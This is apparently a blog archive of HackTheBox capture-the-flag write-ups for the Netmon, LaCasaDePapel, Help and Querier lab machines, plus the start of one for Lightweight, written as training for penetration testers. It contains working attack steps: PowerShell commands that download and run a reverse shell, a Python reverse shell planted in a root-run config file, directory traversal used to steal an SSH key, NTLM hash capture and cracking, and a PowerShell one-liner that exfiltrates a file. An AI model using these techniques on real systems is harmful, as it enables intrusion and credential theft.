Friday, August 2, 2019

Post #26 - HackTheBox Write-Ups: Netmon & LaCasaDePapel

This post is a combination of two write-ups that were previously housed elsewhere. The original post here on my blog was simply a notice with links to the other site. As much as I'd like to split them into two separate posts, I'd rather ensure that the original post date stays intact. To that end, here are my write-ups for the HackTheBox boxes Netmon and LaCasaDePapel.




Netmon is our target for this week’s HackTheBox report. This was one of the easier times I’ve had with HackTheBox, so hopefully the write-up won’t be too painful.

Starting out, we run Nmap:

nmap -sC -sV -oA Netmon


-sC - Script scanning using the default script list.

-sV - Attempts version detection of protocols/applications during scan.

-oA - Output files in all formats

Netmon - The name of the files for -oA output. - The target machine’s IP address.

The only ports open on this box are FTP and HTTP. The website is running PRTG:

Before I start poking around FTP, I do the usual thing and kick off some web tools:

gobuster -u -w /usr/share/wordlists/dirb/small.txt -o Netmon.gob.txt


-u - Specifies the URL to gobust.

-w - Specifies the wordlist to use for brute-forcing directories. I find that small.txt is a good, default starting point for me. If needed, I can work my way up to bigger wordlists, but it hasn’t been necessary for me up to this point.

-o - Specifies the ouput file name.

nikto -host -port 80 -output Netmon.nikto


-host - Specifies the target hostname/IP address.

-port - Specified the target port number.

-output - Specifies the output file name.

I didn’t learn anything from either tool, so I turn my attention to FTP. You may have noticed in the Nmap results that FTP supports anonymous logins. We’re going to utilize that fact right now and connect with ncftp:

Once we’ve connected, it doesn’t take long to locate the user flag in \users\public. We can get it to our machine with FTP and read it. Now we’re ready to start escalating our way towards root.

While we’re still connected to FTP, we need to look around. I am much more familiar with Windows machines than I am with Linux, so it doesn’t take me long to find the ProgramData folder, which is normally hidden, but we can forcefully browse to it even if it isn’t listed. I immediately see the Paessler folder and continue to drill down and explore the file structure. I also spend some time Googling vulnerabilities for PRTG while exploring, and I stumble upon a post indicating that PRTG versions earlier than stored plaintext credentials in configuration files. On Netmon, there are a few different configuration files, but if we take our time and be thorough, we’ll read through each one and eventually discover that PRTG Configuration.old.bak contains the password:

However, this password does not let us into the admin menu. Think about it, though: what year is it?

That’s right: the box was released in 2019. This .bak file is from 2018. The password has likely changed since then, so if we simply tweak the password to reflect the new year...

...we’ll get in! We now have access to the web GUI of PRTG. We can spend some time poking around, but I also elected to go on the hunt for some pre-existing published vulnerabilities for RCE in PRTG. It didn’t take long for me to stumble onto a flaw in the notifications feature of PRTG wherein the parameter text field is passed directly into a PowerShell script that is then run as part of the notification. We can even force the notifications to run by “testing” them.

Personally, I didn’t see the point in trying to just read the root flag. Why not aim high and try to get a shell? To that end, I started my preparations.

First, we need to host our chosen shell. I love this simple reverse shell by infoskirmish, so I host a SimpleHTTPServer on my attacking machine in the same directory as the shell executable:

python -m SimpleHTTPServer 9009


-m - Run a module.

SimpleHTTPServer - Launch a simple HTTP server, as the name implies.

9009 - The port on which the server will listen for incoming connections.

If we really want to do this in one shot, we need to get our netcat listener set up now, as well:

nc -lp 2113


-l - Listen mode.

-p 2113 - Specifies the port on which to listen.

With our attacking box fully prepped to host the shell executable and the listener ready to catch the reverse shell, let’s craft a command to accomplish both the download and execution of the shell:

powershell -command "((new-object System.Net.WebClient).DownloadFile('', 'C:\Users\Public\shell.exe'))"; "c:\windows\system32\cmd.exe /c C:\Users\Public\shell.exe 2113"


-command - Specifies that everything in the following () will be executed as a command.

new-object System.Net.WebClient - Creates an object of the type System.Net.WebClient.

.DownloadFile - Calls the DownloadFile file function from System.Net.WebClient with the source and destination as parameters.

; - Indicates a second, separate command to be run after the first string.

In PRTG, proceed to “Setup” > “Account Settings” > “Notifications”. Select the little plus sign on the right of the page to add a new notification. Name the notification whatever you want. Further down the page, you’ll see an option to “Execute Program”. Expand this option, select “Demo exe notification - outfile.ps1” as the Program File and paste in your PowerShell command as the Parameter. Save the notification.

Once you are back at the notification screen, highlight your notification, then from the menu on the right-hand side that appears select the bell icon to “Send test notification”. This will cause your PowerShell command to be included in the demo .ps1 file, thus downloading and executing your shell.

And that, dear readers, is Netmon. I hope you enjoyed this quick, breezy little box. See you next time!


Before I start, apologies for the late drop on this write-up. I had it ready as soon as I finished the box, but I’ve been out with illness for a few weeks and didn’t even see that this box had already been retired until today. So here it is, better late than never!

LaCasaDePapel was one of those boxes that once again humbled me and taught me that I do not know nearly as much as I assume I’ve learned from HackTheBox so far. From my conversations with other people, that seemed to be an at least not uncommon theme, so hopefully this write-up is helpful for those of you who were as confused as I was.

As per the norm, we start out with our Nmap scan:

nmap -sC -sV -oA LaCasaDePapel


-sC - Script scanning using the default script list.

-sV - Attempts version detection of protocols/applications during scan.

-oA - Output files in all formats

LaCasaDePapel - The name of the files for -oA output. - The target machine’s IP address.

On this box we’ve got FTP, SSH, HTTP, and HTTPS available. We don’t have any credentials for SSH, and I don’t see anything indicating that anonymous logins are available for FTP, so we’ll start by taking a look at the web server ports.

First, let’s start with HTTP to see if there is anything interesting we can grab over plaintext:

Nothing of interest as far as I can tell. I could be wrong, but I’d rather not start attacking something unless it is blatantly obvious that it might help me. That having been said, let’s try HTTPS instead:

We get an invalid certificate error, and an image featuring my favorite painter, Salvador Dali, telling us that we need to provide a client certificate to proceed. Again, I don’t want to dig into this too far, but I get the feeling that this may be our path as opposed to the authentication app mentioned on the HTTP page. Just a hunch.

Since we can’t really proceed any further with web services, let’s revisit FTP. You may have noticed in the earlier screenshot that a particular FTP server application and version number were discovered by Nmap. If you’re on Kali, we can run those through searchsploit. If you’re a 0x00sec VIP member, you can have Karen take a look for you via Discord:

As it turns out, vsftpd was backdoored in version 2.3.4, and that happens to be the version installed on our victim. This exploit is trivial to exploit on your own (so much so that I am not going to dedicate any time to writing about the exploit), but for some reason it was extremely unstable for me (a recurring issue I had with multiple paths on this box, sad to say). The Metasploit module, on the other hand, was far more stable. Let’s get it set up:

use exploit/unix/ftp/vsftpd_234_backdoor

set rhosts

set rport 21

Once we’re set, we’ll run the exploit command to execute.

The exploit will succeed, but we haven’t set up a payload or listener of any kind, so no session will be created. This is okay. If you read the exploit itself, you’ll have realized that the backdoor is hardcoded to open port 6200 on the affected system. Let’s try using telnet to connect to that port to see if our exploit worked:

telnet 6200

So, we got a shell. But what is it? Clearly, this is the backdoor that has been embedded into vsftpd, but how do we use it? What are its capabilities? A little cursory research is never a bad idea, but in this case just firing the help command into the aether did the trick for me:

NOTE: I noticed when interacting with this shell that if you do something to cause an issue, you may have to reset the box so you can re-run the exploit to get a fresh copy of the backdoor. Just my observation.

So, we have some things we can try. Now, it might just be me, but the first thing I did was use the ls command to see what I could learn about the environment. I quickly note that $tokyo is a variable. That seems interesting, so I’ll run show $tokyo to see if this trail of breadcrumbs leads us any deeper into the woods:

We have some code in here that looks interesting enough. There is one bit in particular that stands out because, if you recall, the HTTPS web page stated that we need a client certificate to proceed. Incidentally, this code appears to mention a CA key, which might be exactly what we need to craft our own client certificate. I decided to rip the command straight out of $tokyo without assigning a variable. I ran it, and got some results:


That looks like a private key if I ever saw one. Now, we don’t have a reliable method of downloading the ca.key file, so instead I’ll just copy the text from -----BEGIN PRIVATE KEY----- to -----END PRIVATE KEY-----. I’ll use vi to create a new file called ca.key, paste the contents I have copied, then set to work editing. I remove the preceding blank spaces for each line, as well as any lines that are totally blank. Once those are addressed, I’ll remove the \n at the end of each line. If you’ve done it correctly, md5sum should return 15669c919e89280007d130f0ca5688a4 as the hash value for ca.key.

I will preface this entire next section by saying that I work with CSRs and keys and certificates on a fairly regular basis at my dayjob, and even still I had some issues with this. My issues, as per the norm, all stemmed from the fact that I way overthought this, but there is also the fact that the next step can be approached in a few different ways. My way only requires a single command, though, and I know how it worked, so we’ll stick with it for now.

First, make sure you’ve got your ca.key file ready. Next, visit the web page via HTTPS. However you’d like, view the certificate for the web page and export it to your machine. It should be called lacasadepapelhtb.crt and should have a SHA1 thumbprint of 8C:47:7F:3E:53:D8:E7:6B:4C:DF:EC:CA:AD:B6:05:51:B1:B6:38:D4. With both these files in hand, run the following openssl command:

openssl pkcs12 -export -out lacasadepapelhtb.p12 -in lacasadepapelhtb.crt -inkey ca.key -passin pass:lacasa -passout pass:lacasa


pkcs12 -export - Indicates that we are going to be exporting a file in this format.

-out lacasadepapelhtb.p12 - Indicates the name of the file we are outputting.

-in lacasadepapelhtb.crt - Indicates the name of the file we are inputting for conversion.

-inkey ca.key - Indicates the key we will be using to sign the exported file.

-passin pass:lacasa -passout pass:lacasa - These switches just specify the password used to secure the file(s).

If all goes as planned, you should have a brand new file named lacasadepapelhtb.p12. Take this file and import it into your browser of choice (for me, Firefox worked best.) Once that is done, revisit the HTTPS page, and you should notice different behavior than previously exhibited when you did not have the CA key signed certificate:

At this point, I just started clicking around and exploring the page. To be honest, I am surprised I found the path forward as quickly as I did. If you click into either season’s link, you’ll be presented with a list of “episodes”. Pay close attention to the URL for the “episodes”; Season 01, Episode 01 for example:


That bit after file/ looks interesting to me. How about we run it through base64 to see what we get?

echo U0VBU09OLTEvMDEuYXZp | base64 -d

Okay, so the actual URL, when decoded, is hxxps://lacasadepapel.htb/file/SEASON-1/01.avi. Let’s try that in our browser now to see what happens:

That didn’t work. Let’s try the original URL, complete with base64:

That worked. That means, essentially, that we can download files here, but only if we do it by supplying the path in base64. There’s more to it than that, though. Remember our FTP backdoor shell? Here’s something we can see with it (I captured this during my initial enumeration of that foothold, which is why it stuck out to me later on):

I had used the scandir PHP function to explore the file structure, and I knew this seemed familiar! Between this knowledge and the base64 trick we learned, it’s safe to say that hxxps://lacasadepapel.htb/file/ actually represents /home/berlin/downloads/. Knowing this, we can start trying some directory traversal attacks.

Taking it easy at first, let’s see if we can read the contents of /home/berlin. To do his, we need to traverse up from our default subdirectory. This is also known as a dot-dot-slash attack. So, the path we want is ../../berlin/ which, when converted to base64 using CyberChef is Li4vLi4vYmVybGluLw==. That makes our full path hxxps://lacasadepapel.htb/file/Li4vLi4vYmVybGluLw==

NOTE: I very specifically mention CyberChef here because obtaining the base64 using other ways may produce different results that, when submitted as part of a URL to the HTTPS web page, can cause the HTTPS service to crash and become unavailable until the machine is reset.

We can’t read directories with this trick. That’s fine. Let’s go for some loot and see if we can grab the user flag. Our path is ../berlin/user.txt, and in base64 that is Li4vLi4vYmVybGluL3VzZXIudHh0. Once again, our full path is hxxps://lacasadepapel.htb/file/Li4vLi4vYmVybGluL3VzZXIudHh0

That’s our user flag! Now, let’s scrounge around for anything else we may be able to pilfer using this trick. I quickly discovered that we can’t go very deep into most folders, so I decided to reply upon a mixture of enumeration via our FTP backdoor shell and some good, old-fashioned research. Below were the contents of /home/berlin:

We can’t dive very deep into any of these folders, so we’ll have to do some research on each of these folders. We could also grab the server.js file with our base64 directory traversal trick, but we’re trying to get a better shell, hopefully as a better or at least different user. To that end, .ssh intrigues me. I had some cursory knowledge prior to doing this box, but some quick Google work led me to the knowledge that the file id_rsa lies within this folder. With this file, we can authenticate to the victim box over ssh and get a better connection (hopefully!). Using our trick, we come up with the path hxxps://lacasadepapel.htb/file/Li4vLi4vYmVybGluLy5zc2gvaWRfcnNh

We’ve got it! So, now we want to try authenticating with our key. However, allow me to save you a step here: the key does not allow us to authenticate as the user berlin. We’ll have to try a different user.

Now, my fellow 0x00sec HTB player @clarkee told me that the answer to the user we need to authenticate as is obvious if you think about it. Well, I did not take that route, so let me show you what I did instead, like a bad person:

Yes, I just took the contents of /etc/passwd and made a hard-coded bruteforce script. Sloppy, but it did the trick.

We are in via SSH as the user professor. Wonderful. Time to enumerate and try to get some privilege escalation.

I wasted so much unnecessary time on this box. Once again, my unfamiliarity with Linux and my general newness to hacking in general got the better of me. The answers to my path were in the folder of the user I connected with the whole time.

I did not know this, but despite the fact that the memcached.ini file does not have w permissions set at the file level, the directory itself does, so we have the ability to overwrite it. And because it is owned by root, anything that gets executed as a result of that file also runs as root. A quick review of ps -a shows us something interesting (or you can capture this with pspy, which I’ve covered in other posts and won’t re-iterate here):

The memcached process runs fairly regularly, so if we can edit memcached.ini it will definitely be read in short order. Let’s examine the contents of the file first before we make any changes:

Okay, so, we need to change everything after command = sudo -u. I am going to change nobody to root, then drop in a python command for a reverse shell (which I got from NaviSec (thanks, @pry0cc)). I will place this into a file called new.ini, since I can’t edit memcached.ini directly. Then, after setting up a listener on my attacking machine with nc -lp 2113, I’ll run mv new.ini memcached.ini to overwrite the file owned by root. Here are the contents of new.ini:

[program:memcached] command = sudo -u root python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“”,2113));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);’

Once we’ve moved the file, we can go watch our listener and wait for our reverse shell to appear:

And that’s LaCasa. All in all, I really wanted to like this box. Conceptually, I did, but the little instabilities really made it hard to enjoy. I reset this box more times than I have reset all other boxes combined. Still, I learned some new things, and I hope you did as well.

Thanks for reading!

Saturday, June 22, 2019

Post #25 - HackTheBox Write-Ups: Help & Querier

This post is a combination of two write-ups that were previously housed elsewhere. The original post here on my blog was simply a notice with links to the other site. As much as I'd like to split them into two separate posts, I'd rather ensure that the original post date stays intact. To that end, here are my write-ups for the HackTheBox boxes Help and Querier.




Welcome to another HackTheBox write-up. This week’s write-up is special; Help was the first box I ever attempted, and I did it all on my own before I started doing HackTheBox with 0x00sec. Emotional moments aside, let’s get started.

You know the drill. We start with Nmap.

nmap -sC -sV -oA Help


-sC - Script scanning using the default script list.

-sV - Attempts version detection of protocols/applications during scan.

-oA - Output files in all formats

Help - The name of the files for -oA output. - The target machine’s IP address.

This was my first box, so I ended up in a rabbit hole on port 3000 (which isn’t actually a rabbit hole, as it turns out, as there are multiple paths to owning this box), then tried some silliness with OpenSSH exploits to enumerate users on SSH. Like I said, it was my first box.

Eventually, I got smart and ran dirb (I did not know about gobuster at the time).

dirb http://help.htb/ /usr/share/wordlists/dirb/small.txt -o Help.dirb


hxxp://help.htb/ - Specifies the URL to run dirb against.

/usr/share/wordlists/dirb/small.txt - Specifies the wordlist to use for brute-forcing directories. I find that small.txt is a good, default starting point for me. If needed, I can work my way up to bigger wordlists, but it hasn’t been necessary for me up to this point.

-o - Specifies the ouput file name.

The directory I became interested in was /support. I browsed to that page:

I saw some input fields, so I started running a bunch of tools I had no business running (such as sqlmap). Eventually, I got wise and turned to searchsploit:

There is an arbitrary file upload exploit available.

I had never exploited anything up to this point, if I’m honest, so I had no clue what was going on. I got the general idea, having watched some IppSec videos. I tried using the exploit, but all my attempts to upload my chosen PHP shell as an attachment to the ticket failed.

I tried renaming the file using all the tricks (shell.php.jpg, shell.php1, using null bytes, etc.) I tried editing the magic number bytes of the file to make it look like a JPG, I tried using Burp to intercept the request and convince the page that I was uploading a JPG file, but nothing worked. After a bit more research, I realized how the exploit works.

Quite simply, despite the fact that the page tells us that the attachment type was not allowed, it still writes the file to the disk. However, it “randomly” renames it so we can’t just execute it after the fact. The problem is that the renaming of the file is not as random as the developers would have liked, so we can predict it and call our file via it’s new name and path. That’s where the exploit itself comes in. Let’s review the source code snippet of the HelpDeskZ application inside the script so we can understand what’s happening. We’ll then review the script itself.

Here’s the important bit from the source:

$filename = md5($_FILES['attachment']['name'].time())...$ext;

That may be enough for you to understand the problem. Either way, let’s look at the exploit to see how we’re going to weaponize our newfound knowledge.

print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])

This is just the usage portion of the script, but it’s important to note the inputs to understand what the script will do. The base URL is easy, as the script needs to know where the file was uploaded so it can print the correct full path when finished. The filename is interesting, though. Since the file is renamed after upload, why would knowing the original filename be important? We’ll see shortly.

NOTE: The comments in the script included in Kali are not exactly accurate. The full path required to leverage this exploit is hxxp:// How did I figure this out? I reviewed the source of HelpDeskZ on GitHub

NOTE (continued): If you combine this line with our dirb output, you’ll work out that the path where attachments are finally written is hxxp://

Let’s review the exploit:

currentTime = int(time.time())

The comment here should be obvious; we’re pulling the current time from our machine. Even more interesting.

NOTE: The version of the exploit included in Kali pulls the time from your attacking machine, as noted above. This means the time on your local machine must match the server, or the script won’t work. You can verify it with the below command, or use the version of the exploit on Exploit-DB, which gets the time from the server itself. Be forewarned, though, that the version of the script on Exploit-DB may not run in it’s raw form for you. You could, of course, combine the two scripts. Just a thought.

curl -I http://help.htb

Moving deeper into the script:

for x in range(0, 300):

     plaintext = fileName + str(currentTime - x)

     md5hash = hashlib.md5(plaintext).hexdigest()

     url = helpdeskzBaseUrl+md5hash+'.php'

     response = requests.head(url)

     if response.status_code == 200:

         print "found!"

         print url


Here’s the rundown. We’re taking the name of the file, plus the current time, and storing it as a string (we have some offset of the current time less our current x value, which is any number between 0-300; we need this to deal with delays and time differences; essentially, we’re looping through our calculation 300 times to get 300 different values.) We then take the md5 value of that string. This is our file name. The script will try the full URL with all 300 filename variants and report which one returns an HTTP response code of 200. This is our uploaded shell’s URL path.

NOTE: Because time is such a sensitive factor in this exploit, it is imperative that you have your exploit primed and ready to launch as soon as you upload the file. You’ve got a small window to work with if your 300 requests are to fall within the same time frame as your file upload; of course, you can also edit the exploit script yourself to make it more forgiving, but that means more requests and a longer run time. Pick your battles, as your mileage may vary.

Assuming all went well, you should have the URL of your uploaded shell.

Set up a listener to catch your reverse shell:

nc -lp 2113


-l - Listen mode.

-p 2113 - Specifies the port on which to listen.

Now browse to the URL path of your shell. If done correctly, your listener should now be connected. Grab your user flag and prepare to move on to root.

Considering this was my first box, I am surprised I got to root as quickly as I did. This box predates my knowledge of popular Linux enumeration tools like Linenum and pspy. Instead, I poked around files a bit, then checked the version of Linux installed:

uname -a


-a - Tells uname to print all details.

We see the installed version of Linux. That knowledge in hand, we consult searchsploit yet again and locate CVE-2017-16995, a local privilege escalation exploit.

Once again I allowed my inexperience to waste my time; I went through the whole process of re-abusing the file upload vulnerability to get the .c file for compiling the exploit onto the victim machine. I could’ve done something much simpler, like hosting a python SimpleHTTPServer on my attacking machine. I can’t remember if this didn’t work for me or if I didn’t try it, but when I ran through this box again for this write-up it worked without any issue.

With the .c file successfully transferred to the victim, we can simply run the below command to compile the executable:

make 44298.c

By default, this creates a file called a.out. We then run chmod +x a.out to grant executable permissions to the file. Then, run the file with ./a.out, and you’ll have your root shell!

And that is it for this box. I would like to note that other 0x00sec members have mentioned that they had different paths for both user and root, so please know that these may not be the only paths to success on this box. Perhaps those members might take the time to comment below with their paths; if not, it’s up to you to try harder and find new ways to win.

Thanks for sticking with me through this one. I’ll see you next time!


We’ve got another Windows box this week: Querier. Let’s attack.

NOTE: Before we start, I should note that there are many ways to achieve some of the things on this box, specifically GUI versus CLI. I always prefer CLI, but that doesn’t mean you have to do the same.

Starting off with our standard Nmap:

nmap -sC -sV -oA Querier


-sC - Script scanning using the default script list.

-sV - Attempts version detection of protocols/applications during scan.

-oA - Output files in all formats

Querier - The name of the files for -oA output. - The target machine’s IP address.

Our open ports are 135, 139, 445, and 1433. My heart raced a bit when I saw 1433, which belongs to Microsoft SQL. For one, because that could be a real juicy target in the real world, but secondly because I’ve never exploited it before, and I like new experiences. However, I doubt we’ll be able to get anywhere with it yet, seeing as how we don’t have any credentials.

Instead, I choose to focus on 445, or SMB. I try connecting with (a part of impacket) to see if get lucky with a non-authenticated connection… and I do get lucky!

python querier.htb

We only have access to one share on this server, \Reports, which we can access by running use Reports. Inside \Reports, we find a file named Currency Volume Report.xlsm. Run the get command to download it to your attacking machine. This file contains a VBA macro. There are a few ways we can figure this out, but my experience in working with malware in the past has burned into my skull the instinct to run oletools on any Office documents I find.

python "Currency Volume Report.xlsm"

Perfect! We can see a VBA macro inside this document, and olevba prints its contents for our review. We can see from the database connection string that a user ID and password is hard-coded into the macro. This is precisely what we were looking for, so let’s try our newfound credentials to log into the database. But how do we do that?

As with the rest of this box, there many ways you can utilize your shiny new creds to garner a connection to the database. As it turns out, the very same impacket that we used for our SMB connection also has a SQL tool,

python -windows-auth reporting:PcwTWTHRwryjc\$c6@querier.htb

A couple of notes here that may become pitfalls for some if they attempt to just start running the command without reading further or thinking about things.

First, the bit that states -windows-auth specifies the type of authentication that we are using for our attempted database connection. There are several ways a SQL server will accept authentication, and you have to pick the right one for the credentials you are using. In our case, we are using windows authentication, which queries Windows directly to verify authentication, as opposed to SQL authentication, which queries the SQL database itself for authentication.

Second, the password we obtained from the macro contains a $ character. If we leave the password as is, the connection will fail, as $ is a special character in python. To successfully pass the correct password as a parameter, we need to escape it, which in python means preceding it with a backslash.

Our connection was successful! Now we can begin exploring the database to see what we might be able to do to get a better foothold. I have extremely limited knowledge of Microsoft SQL, and the experience I do have with MySQL was of no consequence for this attack. In fact, the only Microsoft SQL attack I know from my limited studies is the classic, xp_cmdshell. Sadly, xp_cmdshell is not available for our current user account, but that doesn’t mean we can’t look for other stored procedures we might be able to abuse:

SELECT name FROM master.sys.databases

USE master

SELECT name FROM dbo.sysobjects WHERE name like '%xp%' ORDER BY name

It took me a long, long time to figure out where I was going here, but it finally came down to just testing every single command to get an idea which I could use and which might be useful for abuse. Eventually, I found a promising command, xp_dirtree. This command does as you’d expect; it prints a tree of directories and subdirectories. To understand how we might be able to abuse it, we’re going to need a bit of research and hacker-like thinking. If we do enough of this in the right way, we’ll discover exactly what we need.

exec master.dbo.xp_dirtree '\\'


exec - Tells SQL to executed a stored procedure.

master.dbo.xp_dirtree - The stored procedure we will be executing.

‘\\’ - The directory we will be executing xp_dirtree against.

Put that all together, and you’ll understand that we are forcing the victim machine to attempt to read the contents of a Samba/SMB share on my machine. But what’s the point in that? We can’t achieve code execution that way, so we must be after something else.

You’d be correct. In fact, we are after NTLM hashes, which are passed during attempted Samba/SMB connections from Windows systems to authenticate and prove what level of access they deserve. If we capture this hash on our machine, we may be able to do something with it. Let’s set ourselves up for success and get the attack prepped.

We don’t need to set up an actual share on our system. We can use a tool for that! In this case, we’re going to be using Responder:

responder -I tun0

Once this is running, we can execute xp_dirtree!

And... it doesn’t work. This honestly had me baffled for a while. I had no idea why I was capturing something with Responder, but the information being captured looked nothing like NTLMv2 hashes. I spent some time Googling, then came upon a Metasploit module that may be able to help (yes, again, I know that Metasploit is not the best way to do things. I am still learning, so cut me some slack!): auxiliary/admin/mssql/mssql_ntlm_stealer

So, this sounds like exactly what we need. This module will force the execution of the stored procedure we have already confirmed exists, and it should garner us the mssql-svc credentials by passing a hash to Responder. We’ll take a few moments to set up the module’s options, then we’ll restart our Responder listener, and finally kick off the exploit:

use auxiliary/admin/mssql/mssql_ntlm_stealer

set PASSWORD PcwTWTHRwryjc$c6

set RHOSTS querier.htb


set USERNAME reporting


Once the exploit has completed, terminate Responder and check /usr/share/responder/logs/. You should see a file named SMBv2-NTLMv2-SSP- I, personally, made a copy of this file named hashes.txt and used vi to remove the last two lines. Now we’ve got a hash file we can use with hashcat to try to recover some passwords.

hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt -o solvedhashes.txt


-m 5600 - Tells hashcat to use mode 5600, or NetNTLMv2.

hashes.txt - Our input hash file.

/usr/share/wordlists/rockyou.txt - Our wordlist. Hashcat will hash each line in this file according to the selected mode, then compare it to the hashes in our input hash file. If there are any matches, hashcat will let us know.

-o solvedhashes.txt - Tells hashcat to output completed hashes to the specified file.

Once hashcat is finished, check the contents of your output file:

We now have the password for mssql-svc. With it, let’s get reconnected to the database using Once we’re reconnected, let’s see if we can use xp_cmdshell to get code execution directly on the box:

We can’t run it immediately after connecting because it is disabled, but if our new credentials have enough privileges, we may be able to enable it. Let’s try using sp_configure to enable it, like the helpful error message suggested:

EXEC sp_configure 'show advanced options', 1;


EXEC sp_configure 'xp_cmdshell', 1;



EXEC sp_configure ‘show advanced options’, 1; - This executes sp_configure to set ‘show advanced options’ to 1, or true. This is required to configure xp_cmdshell, which is an advanced option.

RECONFIGURE - This applies the changes we have made thus far.

EXEC sp_configure ‘xp_cmdshell’, 1; - This executes sp_configure to set ‘xp_cmdshell’ to 1, or true.

RECONFIGURE - This applies the changes we have made thus far.

We can now run xp_cmdshell; it will succeed and return null output.

Now, let’s try to read the user flag to see if we are lucky enough to have credentials with access:

xp_cmdshell "type C:\Users\mssql-svc\Desktop\user.txt"

And there is our user flag! We have code execution on this box through xp_cmdshell, so let’s try using it to get ourselves a better shell on the box.

If you’ve read any of my other write-ups, or if you just know me personally, you’ll know that I love PowerShell. I also tend to rely on the same Windows reverse shell for every box, so let’s get everything set up as per my usual tactics.

First, set up an HTTP server in the directory hosting your shell executable:

python -m SimpleHTTPServer 9009


-m - Run a module.

SimpleHTTPServer - Launch a simple HTTP server, as the name implies.

9009 - The port on which the server will listen for incoming connections.

Let’s also set up a listener for our reverse shell at this time:

nc -lp 2113


-l - Listen mode.

-p 2113 - Specifies the port on which to listen.

Now that our shell is hosted and our listener is waiting for our reverse shell, we’ll use xp_cmdshell to download the shell and execute it all in one fell swoop:

xp_cmdshell "C:\Users\mssql-svc\Desktop\shell.exe 2113"; xp_cmdshell "powershell -command ""((new-object System.Net.WebClient).DownloadFile('''', ''C:\Users\mssql-svc\Desktop\shell.exe''))"""


-command - Specifies that everything in the following () will be executed as a command.

new-object System.Net.WebClient - Creates an object of the type System.Net.WebClient.

.DownloadFile - Calls the DownloadFile file function from System.Net.WebClient with the source and destination as parameters.

NOTE: It’s important to note that SQL will run our commands in the inverse direction of what you might expect. It will read the last command after the ; first, then read the next command to the left of the ;. In this case, that means that our file will be downloaded and saved to the box with one run of xp_cmdshell before being executed with the second xp_cmdshell, even if the execution appears to be first in line when reading the command from left to right.

And we have our reverse shell. Next, we must enumerate. Surprisingly, despite my familiarly with Windows over Linux in a day-to-day usecase scenario, I have now done enough HackTheBox to become more confident at starting out the enumeration process on Linux. Windows, on the other hand, not so much. Luckily, the wonderful people on the 0x00sec HackTheBox team turned me onto a few great tools for Windows enumeration... and using PowerShell, no less! The one that did the trick for me in this case was PowerUp (now a part of PowerSploit).

I downloaded PowerSploit.ps1 to my attacking machine and re-used the still-running python HTTP server to host it. I used the same PowerShell command that I used to download the shell to the victim, only this time I called it directly from within my reverse shell instead of using xp_cmdshell. Once the file is successfully saved to the victim machine, we will run it and send the results to a .txt file. You don’t have to do this, but I want to do this so I can get the information back to my attacking box for later review. I realize there are better ways of doing this, but I wanted to share something interesting I learned that may come in handy in similar situations. Anyway, all that disclaimer aside, let’s run the tool:

powershell -command "& { . .\PowerUp.ps1; Invoke-PrivescAudit }" > powerup_audit.txt


-command - Specifies that everything in the following “” will be executed as a command. In this case, we are running multiple commands, so we prepend the brackets with an &.

Invoke-PrivescAudit - The specific function of PowerUp.ps1 that we are interested in running.

Once the tool has finished, we can review the contents. However, let’s talk about that little discovery I mentioned earlier. Specifically, it has to do with exfiltration via PowerShell.

Credit for this bit goes to the amazing Azeria Fox, whom I have been following on Twitter for a while but whose data exfiltration page I stumbled upon by accident during a Google search. We’re going to adapt some parts here to craft our own exfiltration one-liner. First, set up another listener, and pipe the output to a file:

nc -lp 1408 > exfil.txt

Now that our listener is running, here is our exfiltration one-liner:

powershell Invoke-WebRequest -Uri -Method POST -Body (Get-Content powerup_audit.txt)


Invoke-WebResuest - This cmdlet allows us to make web requests. It is the PowerShell equivalent of curl.

-Uri - The target URL that will receive our web request.

-Method POST - Specifies the type of web request we are making; in this case, a POST request.

-Body - The content of our webrequest.

Get-Content - Reads and returns the contents of the specified file.

Both PowerShell and nc will appear to hang at this point. This is because nc has already received our request and is simply waiting to be terminated to finish writing it to the output file. However, because nc is not a full-featured web server, it can’t respond to the requesting machine, which causes the requesting machine to sit waiting for a response that will never come. Instead, we can just kill nc, which will kill both programs. On our attacking machine, we can now read the contents of exfil.txt (the output will look nasty, although there are ways to fix this that are wandering too far outside the scope of this already unnecessary tangent):

Let’s look at the view from the victim machine so we can break down what we’ve uncovered a bit easier:

I’m sure you see that very obvious password. That’s the key to our path to root, but where did it come from? Well, specifically, it came from C:\Windows\Panther\Unattend.xml. This file is created during unattended installs, and it often contains either plaintext or Base64-encoded administrator passwords.

Now we just need to leverage our credentials. Turns out, we’ve already used at least one way of getting our hands on the root flag: Use it the same way we did at the beginning of this box, but connect with the administrator credentials instead:

python administrator:MyUnclesAreMarioAndLuigi\!\!1\!@querier.htb

Once we’re connected, run use C$ to connect to the administrative share on the C:/ drive. From there, cd to C:/Users/administrator/Desktop and run get root.txt. On your local machine, read the contents of the flag file, and you’ve owned this box.

Thanks for hanging in there throughout this write-up. There was a lot to break down; I tried to strike a balance between efficiency and imparting useful knowledge. I can only hope it was a success.

Saturday, May 11, 2019

Post #24 - HackTheBox Write-Up: Lightweight

And here we are again, yet another HackTheBox write-up. Once again this post is dropping directly on my blog because vict0ni took care of the 0x00sec write-up this week. Today, Lightweight is our target. We'll start, as we always do, with Nmap.

nmap -sC -sV -oA Lightweight


-sC - Script scanning using the default script list.

-sV - Attempts version detection of protocols/applications during scan.

-oA - Output files in all formats

Lightweight - The name of the files for -oA output. - The target machine’s IP address.

We've got HTTP, SSH, and LDAP. Two of those services require credentials, so let's get started with some HTTP enumeration:

gobuster -u -w /usr/share/wordlists/dirb/small.txt -o Lightweight.gob.txt


-u - Specifies the URL to gobust.

-w - Specifies the wordlist to use for brute-forcing directories. I find that small.txt is a good, default starting point for me. If needed, I can work my way up to bigger wordlists, but it hasn’t been necessary for me up to this point.

-o - Specifies the ouput file name.

nikto -host -port 80 -output Lightweight.nikto


-host - Specifies the target hostname/IP address.

-port - Specified the target port number.

-output - Specifies the output file name.

As it turns out, both of these attempts failed. I sometimes have issues with my OpenVPN connection to HackTheBox, and at the time I attempted this box my wireless equipment was slowly dying, so I reset everything, then browsed to the website to make sure my connection to HTTP was fine.

...and then I read the website.

So, we can't use any brute-forcing tools. Noted. We can at least peruse the site. While doing so, we eventually discover a page that explains how we can use our IP as an SSH username and password to access the box. Let's get connected and see what we can find.

